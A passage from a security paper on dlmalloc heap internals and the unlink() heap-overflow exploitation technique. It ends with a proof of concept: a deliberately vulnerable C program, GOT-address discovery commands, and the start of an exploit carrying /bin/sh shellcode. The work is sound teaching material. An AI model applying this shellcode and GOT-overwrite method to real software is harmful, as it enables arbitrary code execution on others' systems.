#define chunk2mem( p ) \
    ( (Void_t *)((char *)(p) + 2*SIZE_SZ) )

#define mem2chunk( mem ) \
    ( (mchunkptr)((char *)(mem) - 2*SIZE_SZ) )

Although a user should never utilize more bytes than they requested, the
number of bytes reserved for the user by Doug Lea's Malloc may actually
be greater than the amount of requested dynamic memory (because of the
8 byte alignment). As a matter of fact, the memory area where the user
could store data without corrupting the heap starts at "mem" and ends
at (but includes) the prev_size field of "nextchunk" (indeed, this
prev_size field is not used by dlmalloc (since "chunk" is allocated)
and may thence hold user data, in order to decrease wastage), and is
therefore (("nextchunk" + 4) - "mem") bytes long (the 4 additional bytes
correspond to the size of this trailing prev_size field).

But the size of this memory area, (("nextchunk" + 4) - "mem"), is also
equal to (("nextchunk" + 4) - ("chunk" + 8)), which is of course equal
to (("nextchunk" - "chunk") - 4). Since ("nextchunk" - "chunk") is the
effective size of "chunk", the size of the memory area where the user
could store data without corrupting the heap is equal to the effective
size of the chunk minus 4 bytes.

- Free chunks are stored in circular doubly-linked lists (described in
3.4.2) and look like this:

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: may hold user data (indeed, since "chunk" is |
             | free, the previous chunk is necessarily allocated)      |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
             +---------------------------------------------------------+
             | fd: forward pointer to the next chunk in the circular   |
             | doubly-linked list (not to the next _physical_ chunk)   |
             +---------------------------------------------------------+
             | bk: back pointer to the previous chunk in the circular  |
             | doubly-linked list (not the previous _physical_ chunk)  |
             +---------------------------------------------------------+
             |                                                         .
             .                                                         .
             . unused space (may be 0 bytes long)                      .
             .                                                         .
             .                                                         |
nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of "chunk", in bytes (used by dlmalloc  |
             | because this previous chunk is free)                    |
             +---------------------------------------------------------+

------[ 3.3.2 - Size of a chunk ]---------------------------------------

When a user requests req bytes of dynamic memory (via malloc(3) or
realloc(3) for example), dlmalloc first calls request2size() in order
to convert req to a usable size nb (the effective size of the allocated
chunk of memory, including overhead). The request2size() macro could
just add 8 bytes (the size of the prev_size and size fields stored in
front of the allocated chunk) to req and therefore look like this:

#define request2size( req, nb ) \
    ( nb = (req) + SIZE_SZ + SIZE_SZ )

But this first version of request2size() is not optimal because it does
not take into account the fact that the prev_size field of the next
contiguous chunk can hold user data. The request2size() macro should
therefore subtract 4 bytes (the size of this trailing prev_size field)
from the previous result:

#define request2size( req, nb ) \
    ( nb = ((req) + SIZE_SZ + SIZE_SZ) - SIZE_SZ )

This macro is of course equivalent to:

#define request2size( req, nb ) \
    ( nb = (req) + SIZE_SZ )

Unfortunately this request2size() macro is not correct, because as
mentioned in 3.2.2, the size of a chunk should always be a multiple of
8 bytes. request2size() should therefore return the first multiple of 8
bytes greater than or equal to ((req) + SIZE_SZ):

#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )

#define request2size( req, nb ) \
    ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK )

The request2size() function implemented in the Sudo exploit is alike but
returns MINSIZE if the theoretic effective size of the chunk is less
than MINSIZE bytes (the minimum allocatable size):

#define MINSIZE sizeof(struct malloc_chunk)

size_t request2size( size_t req )
{
    size_t nb;

    nb = req + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( nb < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        nb = MINSIZE;
    } else {
        nb &= ~MALLOC_ALIGN_MASK;
    }
    return( nb );
}

Finally, the request2size() macro implemented in Doug Lea's Malloc works
likewise but adds an integer overflow detection:

#define request2size(req, nb) \
 ((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\
  ((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \
   ? (__set_errno (ENOMEM), 1) \
   : ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \
           ? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0)))

------[ 3.3.3 - prev_size field ]---------------------------------------

If the chunk of memory located immediately before a chunk p is allocated
(how dlmalloc determines whether this previous chunk is allocated or not
is detailed in 3.3.4), the 4 bytes corresponding to the prev_size field
of the chunk p are not used by dlmalloc and may therefore hold user data
(in order to decrease wastage).

But if the chunk of memory located immediately before the chunk p is
free, the prev_size field of the chunk p is used by dlmalloc and holds
the size of that previous free chunk. Given a pointer to the chunk p,
the address of the previous chunk can therefore be computed, thanks to
the prev_chunk() macro:

#define prev_chunk( p ) \
    ( (mchunkptr)(((char *)(p)) - ((p)->prev_size)) )

------[ 3.3.4 - size field ]--------------------------------------------

The size field of a boundary tag holds the effective size (in bytes) of
the associated chunk of memory and additional status information. This
status information is stored within the 2 least significant bits, which
would otherwise be unused (because as detailed in 3.3.2, the size of a
chunk is always a multiple of 8 bytes, and the 3 least significant bits
of a size field would therefore always be equal to 0).

The low-order bit of the size field holds the PREV_INUSE bit and the
second-lowest-order bit holds the IS_MMAPPED bit:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

In order to extract the effective size of a chunk p from its size field,
dlmalloc therefore needs to mask these two status bits, and uses the
chunksize() macro for this purpose:

#define SIZE_BITS ( PREV_INUSE | IS_MMAPPED )

#define chunksize( p ) \
    ( (p)->size & ~(SIZE_BITS) )

- If the IS_MMAPPED bit is set, the associated chunk was allocated via
the memory mapping mechanism described in 3.1.2.5. In order to determine
whether a chunk of memory p was allocated via this mechanism or not,
Doug Lea's Malloc calls chunk_is_mmapped():

#define chunk_is_mmapped( p ) \
    ( (p)->size & IS_MMAPPED )

- If the PREV_INUSE bit of a chunk p is set, the physical chunk of
memory located immediately before p is allocated, and the prev_size
field of the chunk p may therefore hold user data. But if the PREV_INUSE
bit is clear, the physical chunk of memory before p is free, and the
prev_size field of the chunk p is therefore used by dlmalloc and
contains the size of that previous physical chunk.

Doug Lea's Malloc uses the macro prev_inuse() in order to determine
whether the physical chunk located immediately before a chunk of memory
p is allocated or not:

#define prev_inuse( p ) \
    ( (p)->size & PREV_INUSE )

But in order to determine whether the chunk p itself is in use or not,
dlmalloc has to extract the PREV_INUSE bit of the next contiguous chunk
of memory:

#define inuse( p ) \
    (((mchunkptr)((char*)(p)+((p)->size&~PREV_INUSE)))->size&PREV_INUSE)

----[ 3.4 - Bins ]------------------------------------------------------

"Available chunks are maintained in bins, grouped by size", as mentioned
in 3.1.2.2 and 3.2.3. The two exceptions are the remainder of the most
recently split (non-top) chunk of memory and the top-most available
chunk (the wilderness chunk) which are treated specially and never
included in any bin.

------[ 3.4.1 - Indexing into bins ]------------------------------------

There are a lot of these bins (128), and depending on its size (its
effective size, not the size requested by the user) a free chunk of
memory is stored by dlmalloc in the bin corresponding to the right
size range. In order to find out the index of this bin (the 128 bins
are indeed stored in an array of bins), dlmalloc calls the macros
smallbin_index() and bin_index().

#define smallbin_index( sz ) \
    ( ((unsigned long)(sz)) >> 3 )

Doug Lea's Malloc considers the chunks whose size is less than 512 bytes
to be small chunks, and stores these chunks in one of the 62 so-called
small bins. Each small bin holds identically sized chunks, and because
the minimum allocated size is 16 bytes and the size of a chunk is always
a multiple of 8 bytes, the first small bin holds the 16 bytes chunks,
the second one the 24 bytes chunks, the third one the 32 bytes chunks,
and so on, and the last one holds the 504 bytes chunks. The index of the
bin corresponding to the size sz of a small chunk is therefore (sz / 8),
as implemented in the smallbin_index() macro.

#define bin_index(sz)                                                     \
((((unsigned long)(sz) >> 9) ==    0) ?       ((unsigned long)(sz) >>  3):\
 (((unsigned long)(sz) >> 9) <=    4) ?  56 + ((unsigned long)(sz) >>  6):\
 (((unsigned long)(sz) >> 9) <=   20) ?  91 + ((unsigned long)(sz) >>  9):\
 (((unsigned long)(sz) >> 9) <=   84) ? 110 + ((unsigned long)(sz) >> 12):\
 (((unsigned long)(sz) >> 9) <=  340) ? 119 + ((unsigned long)(sz) >> 15):\
 (((unsigned long)(sz) >> 9) <= 1364) ? 124 + ((unsigned long)(sz) >> 18):\
                                        126)

The index of the bin corresponding to a chunk of memory whose size is
greater than or equal to 512 bytes is obtained via the bin_index()
macro. Thanks to bin_index(), the size range corresponding to each bin
can be determined:

- A free chunk whose size is equal to 1504 bytes for example is stored
in the bin number 79 (56 + (1504 >> 6)) since (1504 >> 9) is equal to 2
and therefore greater than 0 but less than or equal to 4. Moreover, the
bin number 79 holds the chunks whose size is greater than or equal to
1472 ((1504 >> 6) * 2^6) bytes but less than 1536 (1472 + 2^6).

- A free chunk whose size is equal to 16392 bytes is stored in the bin
number 114 (110 + (16392 >> 12)) since (16392 >> 9) is equal to 32 and
therefore greater than 20 but less than or equal to 84. Moreover, the
bin number 114 holds the chunks whose size is greater than or equal to
16384 ((16392 >> 12) * 2^12) bytes but less than 20480 (16384 + 2^12).

- And so on.

------[ 3.4.2 - Linkin Park^H^H^H^H^Hg chunks in bin lists ]------------

The free chunks of memory are stored in circular doubly-linked lists.
There is one circular doubly-linked list per bin, and these lists are
initially empty because at the start the whole heap is composed of one
single chunk (never included in any bin), the wilderness chunk. A bin
is nothing more than a pair of pointers (a forward pointer and a back
pointer) serving as the head of the associated doubly-linked list.

"The chunks in each bin are maintained in decreasing sorted order by
size. This is irrelevant for the small bins, which all contain the
same-sized chunks, but facilitates best-fit allocation for larger
chunks."

The forward pointer of a bin therefore points to the first (the largest)
chunk of memory in the list (or to the bin itself if the list is empty),
the forward pointer of this first chunk points to the second chunk in
the list, and so on until the forward pointer of a chunk (the last chunk
in the list) points to the bin again. The back pointer of a bin instead
points to the last (the smallest) chunk of memory in the list (or to the
bin itself if the list is empty), the back pointer of this chunk points
to the previous chunk in the list, and so on until the back pointer of a
chunk (the first chunk in the list) points to the bin again.

- In order to take a free chunk p off its doubly-linked list, dlmalloc
has to replace the back pointer of the chunk following p in the list
with a pointer to the chunk preceding p in the list, and the forward
pointer of the chunk preceding p in the list with a pointer to the chunk
following p in the list. Doug Lea's Malloc calls the unlink() macro for
this purpose:

#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}

- In order to place a free chunk P of size S in its bin (in the
associated doubly-linked list actually), in size order, dlmalloc calls
frontlink(). "Chunks of the same size are linked with the most recently
freed at the front, and allocations are taken from the back. This
results in LRU or FIFO allocation order", as mentioned in 3.1.2.2.

The frontlink() macro calls smallbin_index() or bin_index() (presented
in 3.4.1) in order to find out the index IDX of the bin corresponding
to the size S, calls mark_binblock() in order to indicate that this bin
is not empty anymore, calls bin_at() in order to determine the physical
address of the bin, and finally stores the free chunk P at the right
place in the doubly-linked list of the bin:

#define frontlink( A, P, S, IDX, BK, FD ) {            \
    if ( S < MAX_SMALLBIN_SIZE ) {                     \
        IDX = smallbin_index( S );                     \
        mark_binblock( A, IDX );                       \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
    } else {                                           \
        IDX = bin_index( S );                          \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        if ( FD == BK ) {                              \
            mark_binblock(A, IDX);                     \
        } else {                                       \
            while ( FD != BK && S < chunksize(FD) ) {  \
                FD = FD->fd;                           \
            }                                          \
            BK = FD->bk;                               \
        }                                              \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
    }                                                  \
}

----[ 3.5 - Main public routines ]--------------------------------------

The final purpose of an attacker who managed to smash the heap of a
process is to execute arbitrary code. Doug Lea's Malloc can be tricked
into achieving this goal after a successful heap corruption, either
thanks to the unlink() macro, or thanks to the frontlink() macro, both
presented above and detailed in 3.6. The following description of the
malloc(3), free(3) and realloc(3) algorithms therefore focuses on these
two internal macros.

------[ 3.5.1 - The malloc(3) algorithm ]-------------------------------

The malloc(3) function, named __libc_malloc() in the GNU C Library
(malloc() is just a weak symbol) and mALLOc() in the malloc.c file,
executes in the first place the code pointed to by __malloc_hook if
this debugging hook is not equal to NULL (but it normally is). Next
malloc(3) converts the amount of dynamic memory requested by the user
into a usable form (via request2size() presented in 3.3.2), and calls
the internal function chunk_alloc() that takes the first successful of
the following steps:

[1] - "The bin corresponding to the request size is scanned, and if a
chunk of exactly the right size is found, it is taken."

Doug Lea's Malloc considers a chunk to be "of exactly the right size" if
the difference between its size and the request size is greater than or
equal to 0 but less than MINSIZE bytes. If this difference was less than
0 the chunk would not be big enough, and if the difference was greater
than or equal to MINSIZE bytes (the minimum allocated size) dlmalloc
could form a new chunk with this overhead and should therefore perform a
split operation (not supported by this first step).

[1.1] -- The case of a small request size (a request size is small if
both the corresponding bin and the next bin are small (small bins are
described in 3.4.1)) is treated separately:

[1.1.1] --- If the doubly-linked list of the corresponding bin is not
empty, chunk_alloc() selects the last chunk in this list (no traversal
of the list and no size check are necessary for small bins since they
hold identically sized chunks).

[1.1.2] --- But if this list is empty, and if the doubly-linked list of
the next bin is not empty, chunk_alloc() selects the last chunk in this
list (the difference between the size of this chunk and the request size
is indeed less than MINSIZE bytes (it is equal to 8 bytes, as detailed
in 3.4.1)).

[1.1.3] --- Finally, if a free chunk of exactly the right size was found
and selected, chunk_alloc() calls unlink() in order to take this chunk
off its doubly-linked list, and returns it to mALLOc(). If no such chunk
was found, the step[2] is carried out.

[1.2] -- If the request size is not small, the doubly-linked list of the
corresponding bin is scanned. chunk_alloc() starts from the last (the
smallest) free chunk in the list and follows the back pointer of each
traversed chunk:

[1.2.1] --- If during the scan a too big chunk is encountered (a chunk
whose size is MINSIZE bytes or more greater than the request size), the
scan is aborted since the next traversed chunks would be too big also
(the chunks are indeed sorted by size within a doubly-linked list) and
the step[2] is carried out.

[1.2.2] --- But if a chunk of exactly the right size is found, unlink()
is called in order to take it off its doubly-linked list, and the chunk
is then returned to mALLOc(). If no big enough chunk was found at all
during the scan, the step[2] is carried out.

[2] - "The most recently remaindered chunk is used if it is big enough."

But this particular free chunk of memory does not always exist: dlmalloc
gives this special meaning (the `last_remainder' label) to a free chunk
with the macro link_last_remainder(), and removes this special meaning
with the macro clear_last_remainder(). So if one of the available free
chunks is marked with the label `last_remainder':

[2.1] -- It is divided into two parts if it is too big (if the
difference between its size and the request size is greater than or
equal to MINSIZE bytes). The first part (whose size is equal to the
request size) is returned to mALLOc() and the second part becomes the
new `last_remainder' (via link_last_remainder()).

[2.2] -- But if the difference between the size of the `last_remainder'
chunk and the request size is less than MINSIZE bytes, chunk_alloc()
calls clear_last_remainder() and next:

[2.2.1] --- Returns that most recently remaindered chunk (that just lost
its label `last_remainder' because of the clear_last_remainder() call)
to mALLOc() if it is big enough (if the difference between its size and
the request size is greater than or equal to 0).

[2.2.2] --- Or places this chunk in its doubly-linked list (thanks to
the frontlink() macro) if it is too small (if the difference between its
size and the request size is less than 0), and carries out the step[3].

[3] - "Other bins are scanned in increasing size order, using a chunk
big enough to fulfill the request, and splitting off any remainder."

The scanned bins (the scan of a bin consists in traversing the
associated doubly-linked list, starting from the last (the smallest)
free chunk in the list, and following the back pointer of each traversed
chunk) all correspond to sizes greater than or equal to the request size
and are processed one by one (starting from the bin where the search at
step[1] stopped) until a big enough chunk is found:

[3.1] -- This big enough chunk is divided into two parts if it is too
big (if the difference between its size and the request size is greater
than or equal to MINSIZE bytes). The first part (whose size is equal to
the request size) is taken off its doubly-linked list via unlink() and
returned to mALLOc(). The second part becomes the new `last_remainder'
via link_last_remainder().

[3.2] -- But if a chunk of exactly the right size was found, unlink() is
called in order to take it off its doubly-linked list, and the chunk is
then returned to mALLOc(). If no big enough chunk was found at all, the
step[4] is carried out.

[4] - "If large enough, the chunk bordering the end of memory (`top') is
split off."

The chunk bordering the end of the heap (the wilderness chunk presented
in 3.1.2.4) is large enough if the difference between its size and the
request size is greater than or equal to MINSIZE bytes (the step[5]
is otherwise carried out). The wilderness chunk is then divided into
two parts: the first part (whose size is equal to the request size) is
returned to mALLOc(), and the second part becomes the new wilderness
chunk.

[5] - "If the request size meets the mmap threshold and the system
supports mmap, and there are few enough currently allocated mmapped
regions, and a call to mmap succeeds, the request is allocated via
direct memory mapping."

Doug Lea's Malloc calls the internal function mmap_chunk() if the
above conditions are fulfilled (the step[6] is otherwise carried out),
but since the default value of the mmap threshold is rather large
(128k), and since the MALLOC_MMAP_THRESHOLD_ environment variable
cannot override this default value when a SUID or SGID program is run,
mmap_chunk() is not detailed in the present paper.

[6] - "Otherwise, the top of memory is extended by obtaining more space
from the system (normally using sbrk, but definable to anything else via
the MORECORE macro)."

After a successful extension, the wilderness chunk is split off as it
would have been at step[4], but if the extension fails, a NULL pointer
is returned to mALLOc().

------[ 3.5.2 - The free(3) algorithm ]---------------------------------

The free(3) function, named __libc_free() in the GNU C Library (free()
is just a weak symbol) and fREe() in the malloc.c file, executes in the
first place the code pointed to by __free_hook if this debugging hook is
not equal to NULL (but it normally is), and next distinguishes between
the following cases:

[1] - "free(0) has no effect."

But if the pointer argument passed to free(3) is not equal to NULL (and
it is usually not), the step[2] is carried out.

[2] - "If the chunk was allocated via mmap, it is released via
munmap()."

The fREe() function determines (thanks to the macro chunk_is_mmapped()
presented in 3.3.4) whether the chunk to be freed was allocated via the
memory mapping mechanism (described in 3.1.2.5) or not, and calls the
internal function munmap_chunk() (not detailed in the present paper) if
it was, but calls chunk_free() (step[3] and step[4]) if it was not.

[3] - "If a returned chunk borders the current high end of memory, it is
consolidated into the top".

If the chunk to be freed is located immediately before the top-most
available chunk (the wilderness chunk), a new wilderness chunk is
assembled (but the step[4] is otherwise carried out):

[3.1] -- If the chunk located immediately before the chunk being
freed is unused, it is taken off its doubly-linked list via unlink()
and becomes the beginning of the new wilderness chunk (composed of
the former wilderness chunk, the chunk being freed, and the chunk
located immediately before). As a side note, unlink() is equivalent to
clear_last_remainder() if the processed chunk is the `last_remainder'.

[3.2] -- But if that previous chunk is allocated, the chunk being freed
becomes the beginning of the new wilderness chunk (composed of the
former wilderness chunk and the chunk being freed).

[4] - "Other chunks are consolidated as they arrive, and placed in
corresponding bins. (This includes the case of consolidating with the
current `last_remainder')."

[4.1] -- If the chunk located immediately before the chunk to be freed
is unused, it is taken off its doubly-linked list via unlink() (if it is
not the `last_remainder') and consolidated with the chunk being freed.

[4.2] -- If the chunk located immediately after the chunk to be freed is
unused, it is taken off its doubly-linked list via unlink() (if it is
not the `last_remainder') and consolidated with the chunk being freed.

[4.3] -- The resulting coalesced chunk is placed in its doubly-linked
list (via the frontlink() macro), or becomes the new `last_remainder'
if the old `last_remainder' was consolidated with the chunk being freed
(but the link_last_remainder() macro is called only if the beginning
of the new `last_remainder' is different from the beginning of the old
`last_remainder').

------[ 3.5.3 - The realloc(3) algorithm ]------------------------------

The realloc(3) function, named __libc_realloc() in the GNU C Library
(realloc() is just a weak symbol) and rEALLOc() in the malloc.c file,
executes in the first place the code pointed to by __realloc_hook if
this debugging hook is not equal to NULL (but it normally is), and next
distinguishes between the following cases:

[1] - "Unless the #define REALLOC_ZERO_BYTES_FREES is set, realloc with
a size argument of zero (re)allocates a minimum-sized chunk."

But if REALLOC_ZERO_BYTES_FREES is set, and if realloc(3) was called
with a size argument of zero, the fREe() function (described in 3.5.2)
is called in order to free the chunk of memory passed to realloc(3). The
step[2] is otherwise carried out.

[2] - "realloc of null is supposed to be same as malloc".

If realloc(3) was called with a pointer argument of NULL, the mALLOc()
function (detailed in 3.5.1) is called in order to allocate a new chunk
of memory. The step[3] is otherwise carried out, but the amount of
dynamic memory requested by the user is first converted into a usable
form (via request2size() presented in 3.3.2).

[3] - "Chunks that were obtained via mmap [...]."

rEALLOc() calls the macro chunk_is_mmapped() (presented in 3.3.4) in
order to determine whether the chunk to be reallocated was obtained via
the memory mapping mechanism (described in 3.1.2.5) or not. If it was,
specific code (not detailed in the present paper) is executed, but if
it was not, the chunk to be reallocated is processed by the internal
function chunk_realloc() (step[4] and next ones).

[4] - "If the reallocation is for less space [...]."

[4.1] -- The processed chunk is divided into two parts if its size is
MINSIZE bytes or more greater than the request size: the first part
(whose size is equal to the request size) is returned to rEALLOc(), and
the second part is freed via a call to chunk_free() (detailed in 3.5.2).

[4.2] -- But the processed chunk is simply returned to rEALLOc() if the
difference between its size and the request size is less than MINSIZE
bytes (this difference is of course greater than or equal to 0 since
the size of the processed chunk is greater than or equal to the request
size).

[5] - "Otherwise, if the reallocation is for additional space, and the
chunk can be extended, it is, else a malloc-copy-free sequence is taken.
There are several different ways that a chunk could be extended. All are
tried:"

[5.1] -- "Extending forward into following adjacent free chunk."

If the chunk of memory located immediately after the chunk to be
reallocated is free, the two following steps are tried before the
step[5.2] is carried out:

[5.1.1] --- If this free chunk is the top-most available chunk (the
wilderness chunk) and if its size plus the size of the chunk being
reallocated is MINSIZE bytes or more greater than the request size,
the wilderness chunk is divided into two parts. The first part is
consolidated with the chunk being reallocated and the resulting
coalesced chunk is returned to rEALLOc() (the size of this coalesced
chunk is of course equal to the request size), and the second part
becomes the new wilderness chunk.

[5.1.2] --- But if that free chunk is a normal free chunk, and if its
size plus the size of the chunk being reallocated is greater than or
equal to the request size, it is taken off its doubly-linked list via
unlink() (equivalent to clear_last_remainder() if the processed chunk is
the `last_remainder') and consolidated with the chunk being freed, and
the resulting coalesced chunk is then treated as it would have been at
step[4].

[5.2] -- "Both shifting backwards and extending forward."

If the chunk located immediately before the chunk to be reallocated is
free, and if the chunk located immediately after is free as well, the
two following steps are tried before the step[5.3] is carried out:

[5.2.1] --- If the chunk located immediately after the chunk to be
reallocated is the top-most available chunk (the wilderness chunk)
and if its size plus the size of the chunk being reallocated plus the
size of the previous chunk is MINSIZE bytes or more greater than the
request size, the said three chunks are coalesced. The previous chunk
is first taken off its doubly-linked list via unlink() (equivalent to
clear_last_remainder() if the processed chunk is the `last_remainder'),
the content of the chunk being reallocated is then copied to the newly
coalesced chunk, and this coalesced chunk is finally divided into two
parts: the first part is returned to rEALLOc() (the size of this chunk
is of course equal to the request size), and the second part becomes the
new wilderness chunk.

[5.2.2] --- If the chunk located immediately after the chunk to be
reallocated is a normal free chunk, and if its size plus the size of
the chunk being reallocated plus the size of the previous chunk is
greater than or equal to the request size, the said three chunks are
coalesced. The previous and next chunks are first taken off their
doubly-linked lists via unlink() (equivalent to clear_last_remainder()
if the processed chunk is the `last_remainder'), the content of the
chunk being reallocated is then copied to the newly coalesced chunk,
and this coalesced chunk is finally treated as it would have been at
step[4].

[5.3] -- "Shifting backwards, joining preceding adjacent space".

If the chunk located immediately before the chunk to be reallocated
is free and if its size plus the size of the chunk being reallocated
is greater than or equal to the request size, the said two chunks
are coalesced (but the step[5.4] is otherwise carried out). The
previous chunk is first taken off its doubly-linked list via unlink()
(equivalent to clear_last_remainder() if the processed chunk is the
`last_remainder'), the content of the chunk being reallocated is then
copied to the newly coalesced chunk, and this coalesced chunk is finally
treated as it would have been at step[4].

[5.4] -- If the chunk to be reallocated could not be extended, the
internal function chunk_alloc() (detailed in 3.5.1) is called in order
to allocate a new chunk of exactly the request size:

[5.4.1] --- If the chunk returned by chunk_alloc() is located
immediately after the chunk being reallocated (this can only happen
when that next chunk was extended during the chunk_alloc() execution
(since it was not big enough before), so this can only happen when
this next chunk is the wilderness chunk, extended during the step[6]
of the malloc(3) algorithm), it is consolidated with the chunk being
reallocated and the resulting coalesced chunk is then treated as it
would have been at step[4].

[5.4.2] --- The chunk being reallocated is otherwise freed via
chunk_free() (detailed in 3.5.2), but its content is first copied to
the newly allocated chunk returned by chunk_alloc(). Finally, the chunk
returned by chunk_alloc() is returned to rEALLOc().

----[ 3.6 - Execution of arbitrary code ]-------------------------------

------[ 3.6.1 - The unlink() technique ]--------------------------------

--------[ 3.6.1.1 - Concept ]-------------------------------------------

If an attacker manages to trick dlmalloc into processing a carefully
crafted fake chunk of memory (or a chunk whose fd and bk fields have
been corrupted) with the unlink() macro, they will be able to overwrite
any integer in memory with the value of their choosing, and will
therefore be able to eventually execute arbitrary code.

#define unlink( P, BK, FD ) {            \
[1] BK = P->bk;                          \
[2] FD = P->fd;                          \
[3] FD->bk = BK;                         \
[4] BK->fd = FD;                         \
}

Indeed, the attacker could store the address of a function pointer,
minus 12 bytes as explained below, in the forward pointer FD of the
fake chunk (read at line[2]), and the address of a shellcode in the
back pointer BK of the fake chunk (read at line[1]). The unlink() macro
would therefore, when trying to take this fake chunk off its imaginary
doubly-linked list, overwrite (at line[3]) the function pointer located
at FD plus 12 bytes (12 is the offset of the bk field within a boundary
tag) with BK (the address of the shellcode).

If the vulnerable program reads the overwritten function pointer (an
entry of the GOT (Global Offset Table) or one of the debugging hooks
compiled in Doug Lea's Malloc (__malloc_hook, __free_hook, etc) for
example) and jumps to the memory location it points to, and if a valid
shellcode is stored there at that time, the shellcode is executed.

But since unlink() would also overwrite (at line[4]) an integer located
in the very middle of the shellcode, at BK plus 8 bytes (8 is the offset
of the fd field within a boundary tag), with FD (a valid pointer but
probably not valid machine code), the first instruction of the shellcode
should jump over the overwritten integer, into a classic shellcode.

This unlink() technique, first introduced by Solar Designer, is
illustrated with a proof of concept in 3.6.1.2, and was successfully
exploited in the wild against certain vulnerable versions of programs
like Netscape browsers, traceroute, and slocate (mentioned in 3.1.2.1).

--------[ 3.6.1.2 - Proof of concept ]----------------------------------

The program below contains a typical buffer overflow since an attacker
can overwrite (at line[3]) the data stored immediately after the end
of the first buffer if the first argument they passed to the program
(argv[1]) is larger than 666 bytes:

$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
EOF

$ make vulnerable
cc     vulnerable.c   -o vulnerable

$ ./vulnerable `perl -e 'print "B" x 1337'`
Segmentation fault (core dumped)

Since the first buffer was allocated in the heap (at line[1], or more
precisely during the step[4] of the malloc(3) algorithm) and not on the
stack, the attacker cannot use the classic stack smashing techniques and
simply overwrite a saved instruction pointer or a saved frame pointer in
order to exploit the vulnerability and execute arbitrary code:

http://www.phrack.org/show.php?p=49&a=14
http://www.phrack.org/show.php?p=55&a=8

But the attacker could overwrite the boundary tag associated with the
second chunk of memory (allocated in the heap at line[2], during the
step[4] of the malloc(3) algorithm), since this boundary tag is located
immediately after the end of the first chunk. The memory area reserved
for the user within the first chunk even includes the prev_size field of
that boundary tag (as detailed in 3.3.3), and the size of this area is
equal to 668 bytes (indeed, and as calculated in 3.3.1, the size of the
memory area reserved for the user within the first chunk is equal to the
effective size of this chunk, 672 (request2size(666)), minus 4 bytes).

So if the size of the first argument passed to the vulnerable program
by the attacker is greater than or equal to 680 (668 + 3*4) bytes, the
attacker will be able to overwrite the size, fd and bk fields of the
boundary tag associated with the second chunk. They could therefore use
the unlink() technique, but how can dlmalloc be tricked into processing
the corrupted second chunk with unlink() since this chunk is allocated?

When free(3) is called at line[4] in order to free the first chunk, the
step[4.2] of the free(3) algorithm is carried out and the second chunk
is processed by unlink() if it is free (if the PREV_INUSE bit of the
next contiguous chunk is clear). Unfortunately this bit is set because
the second chunk is allocated, but the attacker can trick dlmalloc into
reading a fake PREV_INUSE bit since they control the size field of the
second chunk (used by dlmalloc in order to compute the address of the
next contiguous chunk).

For instance, if the attacker overwrites the size field of the second
chunk with -4 (0xfffffffc), dlmalloc will think the beginning of the
next contiguous chunk is in fact 4 bytes before the beginning of the
second chunk, and will therefore read the prev_size field of the second
chunk instead of the size field of the next contiguous chunk. So if
the attacker stores an even integer (an integer whose PREV_INUSE bit
is clear) in this prev_size field, dlmalloc will process the corrupted
second chunk with unlink() and the attacker will be able to apply the
technique described in 3.6.1.1.

Indeed, the exploit below overwrites the fd field of the second chunk
with a pointer to the GOT entry of the free(3) function (read at line[5]
after the unlink() attack) minus 12 bytes, and overwrites the bk field
of the second chunk with the address of a special shellcode stored 8
(2*4) bytes after the beginning of the first buffer (the first 8 bytes
of this buffer correspond to the fd and bk fields of the associated
boundary tag and are overwritten at line[4], by frontlink() during the
step[4.3] of the free(3) algorithm).

Since the shellcode is executed in the heap, this exploit will work
against systems protected with the Linux kernel patch from the Openwall
Project, but not against systems protected with the Linux kernel patch
from the PaX Team:

http://www.openwall.com/linux/
http://pageexec.virtualave.net/

$ objdump -R vulnerable | grep free
0804951c R_386_JUMP_SLOT   free

$ ltrace ./vulnerable 2>&1 | grep 666
malloc(666)                                       = 0x080495e8

$ set -o noclobber && cat > exploit.c << EOF
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804951c )
#define CODE_ADDRESS ( 0x080495e8 + 2*4 )

#define VULNERABLE "./vulnerable"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* the jump instruction */
        "\xeb\x0appssssffff"
        /* the Aleph One shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
